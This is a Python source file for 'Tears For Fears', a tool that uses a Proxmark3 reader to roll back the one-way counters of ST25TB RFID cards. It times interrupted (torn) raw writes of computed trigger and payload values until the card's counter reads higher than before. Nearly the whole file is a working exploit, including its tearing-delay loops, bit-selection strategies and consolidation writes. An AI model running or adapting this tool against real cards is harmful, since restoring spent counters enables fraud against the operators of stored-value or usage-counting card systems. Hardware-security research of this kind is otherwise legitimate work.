2 # -*- coding: utf-8 -*-
4 #+---------------------------------------------------------------------------+
5 #| Tears For Fears : Utilities for reverting counters of ST25TB* cards |
6 #+---------------------------------------------------------------------------+
7 #| Copyright (C) Pierre Granier - 2024 |
9 #| This program is free software: you can redistribute it and/or modify |
10 #| it under the terms of the GNU General Public License as published by |
11 #| the Free Software Foundation, either version 3 of the License, or |
12 #| (at your option) any later version. |
14 #| This program is distributed in the hope that it will be useful, |
15 #| but WITHOUT ANY WARRANTY; without even the implied warranty of |
16 #| MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the |
17 #| GNU General Public License for more details. |
19 #| You should have received a copy of the GNU General Public License |
20 #| along with this program. If not, see <http://www.gnu.org/licenses/>. |
21 #+---------------------------------------------------------------------------+
24 # https://gitlab.com/SiliconOtter/tears4fears
28 from queue
import Queue
, Empty
30 from subprocess
import Popen
, PIPE
31 from time
import sleep
32 from threading
import Thread
35 PM3_SUBPROC_QUEUE
= None
43 underline
= '\033[04m'
45 strikethrough
= '\033[09m'
46 invisible
= '\033[08m'
53 lightgreen
= '\033[92m'
54 lightblue
= '\033[94m'
60 global PM3_SUBPROC_QUEUE
62 parser
= argparse
.ArgumentParser()
63 parser
.add_argument("-s",
70 help="Strategy to use (default 1)")
71 parser
.add_argument("-b",
80 parser
.add_argument("-p",
85 help="pm3 client path")
87 args
= parser
.parse_args()
89 PM3_SUBPROC
= Popen([args
.pm3_path
, "-i", "-f"], stdin
=PIPE
, stdout
=PIPE
)
90 PM3_SUBPROC_QUEUE
= Queue()
92 thread
= Thread(target
=enqueue_output
, args
=(PM3_SUBPROC
.stdout
, PM3_SUBPROC_QUEUE
))
95 if args
.target_block
!= -1:
96 tear_for_fears(args
.target_block
, args
.strategy
)
98 parser
.error("--block is required ")
104 def enqueue_output(out
, queue
):
105 """Continuously read PM3 client stdout and fill a global queue
108 out: stdout of PM3 client
109 queue: where to push "out" content
111 for line
in iter(out
.readline
, b
""):
116 def sub_com(command
, func
=None, sleep_over
=0):
117 """Send command to aPM3 client
120 command: String of the command to send
121 func: hook for a parsing function on the pm3 command end
124 result of the hooked function if any
127 global PM3_SUBPROC_QUEUE
133 PM3_SUBPROC
.stdin
.write(bytes((command
+ "\n").encode("ascii")))
134 PM3_SUBPROC
.stdin
.flush()
138 result
= func(str(PM3_SUBPROC_QUEUE
.get(timeout
=.5)))
140 PM3_SUBPROC
.stdin
.write(bytes(
141 (command
+ "\n").encode("ascii")))
142 PM3_SUBPROC
.stdin
.flush()
147 def set_space(space
):
148 """Placeholder for instrumentalization or do it manually
151 space: distance needed
155 input(f
"\nSet Reader <-> Card distance to {space} and press enter : \n")
158 def parse_rdbl(str_to_parse
):
159 """Return a list of str of a block from pm3 output
160 Uses `rbdl` in pm3 client
163 str_to_parse: string to parse
168 tmp
= re
.search(r
"block \d*\.\.\. ([0-9a-fA-F]{2} ){4}", str_to_parse
)
171 return re
.findall(r
"[0-9a-fA-F]{2}", tmp
.group(0).split("... ")[1])
175 def parse_UID(str_to_parse
):
176 """Return a card UID from pm3 output
179 str_to_parse: string to parse
184 tmp
= re
.search(r
"UID: ([0-9a-fA-F]{2} )*", str_to_parse
)
186 return re
.findall(r
"[0-9a-fA-F]{2}", tmp
.group(0).split(": ")[1])
190 def slist_to_int(list_source
):
191 """Return the int value associated to a bloc list of string
194 list_source: list to convert
199 return ((int(list_source
[3], 16) << 24) + (int(list_source
[2], 16) << 16) +
200 (int(list_source
[1], 16) << 8) + int(list_source
[0], 16))
203 def int_to_slist(src
):
204 """Return the list of string from the int value associated to a block
214 list_dest
.append(hex((src
>> (8 * i
)) & 255)[2:].zfill(2).upper())
218 def ponderated_read(b_num
, repeat_read
, sleep_over
):
219 """read a few times a block and give a pondered dictionary
222 b_num: block number to read
225 dictionary (key: int, value: number of occurrences)
229 for _
in range(repeat_read
):
230 # sleep_over=0 favorize read at 0
231 # (and allow early discovery of weak bits)
232 result
= slist_to_int(
233 sub_com(f
"hf 14b rdbl -b {b_num}",
235 sleep_over
=sleep_over
))
236 if result
in weight_r
:
237 weight_r
[result
] += 1
244 def exploit_weak_bit(b_num
, original_value
, repeat_read
, sleep_over
):
249 stop: last tearing timing
252 # Sending RAW writes because `wrbl` spend additionnal time checking success
253 cmd_wrb
= f
"hf 14b raw --sr --crc -d 09{hex(b_num)[2:].rjust(2, '0')}"
256 dic
= ponderated_read(b_num
, repeat_read
, sleep_over
)
258 for value
, occur
in dic
.items():
262 if value
> original_value
:
263 indic
= colors
.purple
265 elif value
< original_value
:
266 indic
= colors
.lightblue
269 f
"{(occur / repeat_read) * 100} %"
270 f
" : {indic}{''.join(map(str,int_to_slist(value)))}{colors.reset}"
271 f
" : {indic}{str(bin(value))[2:].zfill(32)}{colors.reset}")
277 # There is no ACK for write so we use a read to check distance coherence
278 if target
> (original_value
):
280 print(f
"\n{colors.bold}Trying to consolidate.{colors.reset}"
281 f
"\nKeep card at the max distance from the reader.\n")
283 while (read_back
!= (target
- 1)):
284 print(f
"{colors.bold}Writing :{colors.reset}"
285 f
" {''.join(map(str,int_to_slist(target - 1)))}")
286 sub_com(f
"{cmd_wrb}{''.join(map(str,int_to_slist(target - 1)))}")
287 read_back
= slist_to_int(
288 sub_com(f
"hf 14b rdbl -b {b_num}", parse_rdbl
))
290 while (read_back
!= (target
- 2)):
291 print(f
"{colors.bold}Writing :{colors.reset}"
292 f
" {''.join(map(str,int_to_slist(target - 2)))}")
293 sub_com(f
"{cmd_wrb}{''.join(map(str,int_to_slist(target - 2)))}")
294 read_back
= slist_to_int(
295 sub_com(f
"hf 14b rdbl -b {b_num}", parse_rdbl
))
300 def strat_1_values(original_value
):
301 """return payload and trigger value depending on original_value
302 follow strategy 1 rules
305 original_value: starting value before exploit
308 (payload_value, trigger_value) if possible
313 # Check for leverageable bits positions,
314 # Start from bit 32, while their is no bit at 1 decrement position
315 while ((original_value
& (0b11 << high1bound
)) != (0b11 << high1bound
)):
318 # No bits can be used as leverage
321 low1bound
= high1bound
323 # We found a suitable pair of bits at 1,
324 # While their is bits at 1, decrement position
325 while ((original_value
& (0b11 << low1bound
)) == (0b11 << low1bound
)):
328 # No bits can be reset
331 trigger_value
= (0b01 << (low1bound
+ 1)) ^
(2**(high1bound
+ 2) - 1)
332 payload_value
= (0b10 << (low1bound
+ 1)) ^
(2**(high1bound
+ 2) - 1)
334 return (trigger_value
, payload_value
)
337 def strat_2_values(original_value
):
338 """return payload and trigger value depending on original_value
339 follow strategy 2 rules
342 original_value: starting value before exploit
345 (payload_value, trigger_value) if possible
350 # Check for leverageable bit position,
351 # Start from bit 32, while their is no bit at 1 decrement position
352 while not (original_value
& (0b1 << high1bound
)):
355 # No bits can be used as leverage
358 low1bound
= high1bound
360 # We found a suitable bit at 1,
361 # While their is bits at 1, decrement position
362 while (original_value
& (0b1 << low1bound
)):
365 # No bits can be reset
368 trigger_value
= (0b1 << (low1bound
+ 1)) ^
(2**(high1bound
+ 1) - 1)
369 payload_value
= trigger_value ^
(2**min(low1bound
, 4) - 1)
371 return (trigger_value
, payload_value
)
374 def tear_for_fears(b_num
, strategy
):
375 """try to roll back `b_num` counter using `strategy`
381 ################################################################
382 ######### You may want to play with theses parameters #########
383 start_taring_delay
= 130
390 ################################################################
392 cmd_wrb
= f
"hf 14b raw --sr --crc -d 09{hex(b_num)[2:].rjust(2, '0')}"
394 print(f
"UID: { ''.join(map(str,sub_com('hf 14b info ', parse_UID)))}\n")
396 tmp
= ponderated_read(b_num
, repeat_read
, sleep_long
)
397 original_value
= max(tmp
, key
=tmp
.get
)
400 leverageable_values
= strat_1_values(original_value
)
402 leverageable_values
= strat_2_values(original_value
)
404 if leverageable_values
is None:
406 f
"\n{colors.bold}No bits usable for leverage{colors.reset}\n"
407 f
"Current value : {''.join(map(str,int_to_slist(original_value)))}"
408 f
" : { bin(original_value)[2:].zfill(32)}")
412 (trigger_value
, payload_value
) = leverageable_values
414 print(f
"Initial Value : {''.join(map(str,int_to_slist(original_value)))}"
415 f
" : { bin(original_value)[2:].zfill(32)}")
416 print(f
"Trigger Value : {''.join(map(str,int_to_slist(trigger_value)))}"
417 f
" : { bin(trigger_value)[2:].zfill(32)}")
418 print(f
"Payload Value : {''.join(map(str,int_to_slist(payload_value)))}"
419 f
" : { bin(payload_value)[2:].zfill(32)}\n")
422 f
"{colors.bold}Color coding :{colors.reset}\n"
423 f
"{colors.reset}\tValue we started with{colors.reset}\n"
424 f
"{colors.green}\tTarget value (trigger|payload){colors.reset}\n"
425 f
"{colors.lightblue}\tBelow target value (trigger|payload){colors.reset}\n"
426 f
"{colors.lightred}\tAbove target value (trigger|payload){colors.reset}\n"
427 f
"{colors.purple}\tAbove initial value {colors.reset}")
429 if input(f
"\n{colors.bold}Good ? Y/n : {colors.reset}") == "n":
436 print(f
"\n{colors.bold}Write and tear trigger value : {colors.reset}"
437 f
"{''.join(map(str,int_to_slist(trigger_value)))}\n")
439 tear_us
= start_taring_delay
441 while not trigger_flag
:
443 for _
in range(repeat_write
):
446 exploit_weak_bit(b_num
, original_value
, repeat_read
,
453 f
"hw tearoff --delay {tear_us} --on ; "
454 f
"{cmd_wrb}{''.join(map(str, int_to_slist(trigger_value)))}")
456 preamb
= f
"Tear timing = {tear_us:02d} us : "
457 print(preamb
, end
="")
461 for value
, occur
in ponderated_read(b_num
, repeat_read
,
462 sleep_quick
).items():
465 # Here we want 100% chance of having primed one sub-counter
466 # The logic is inverted for payload
467 if value
> original_value
:
468 indic
= colors
.purple
472 elif value
== trigger_value
:
475 elif value
< original_value
:
476 indic
= colors
.lightblue
482 f
"{(occur / repeat_read) * 100:3.0f} %"
483 f
" : {indic}{''.join(map(str,int_to_slist(value)))}"
484 f
"{colors.reset} : {indic}"
485 f
"{str(bin(value))[2:].zfill(32)}{colors.reset}",
486 end
=f
"\n{' ' * len(preamb)}")
492 print(f
"\n{colors.bold}Write and tear payload value : {colors.reset}"
493 f
"{''.join(map(str,int_to_slist(payload_value)))}\n")
495 tear_us
= start_taring_delay
499 for _
in range(repeat_write
):
503 exploit_weak_bit(b_num
, original_value
, repeat_read
,
506 tmp
= ponderated_read(b_num
, repeat_read
, sleep_long
)
507 if max(tmp
, key
=tmp
.get
) > original_value
:
508 print(f
"{colors.bold}Success ! {colors.reset}")
514 f
"hw tearoff --delay {tear_us} --on ; "
515 f
"{cmd_wrb}{''.join(map(str, int_to_slist(payload_value)))}")
517 preamb
= f
"Tear timing = {tear_us:02d} us : "
518 print(preamb
, end
="")
520 for value
, occur
in ponderated_read(b_num
, repeat_read
,
521 sleep_quick
).items():
525 if value
> original_value
:
526 indic
= colors
.purple
529 elif value
== payload_value
:
533 elif value
< trigger_value
:
534 indic
= colors
.lightblue
536 elif value
> trigger_value
:
537 indic
= colors
.lightred
540 f
"{(occur / repeat_read) * 100:3.0f} %"
541 f
" : {indic}{''.join(map(str,int_to_slist(value)))}"
542 f
"{colors.reset} : {indic}"
543 f
"{str(bin(value))[2:].zfill(32)}{colors.reset}",
544 end
=f
"\n{' ' * len(preamb)}")
551 if __name__
== "__main__":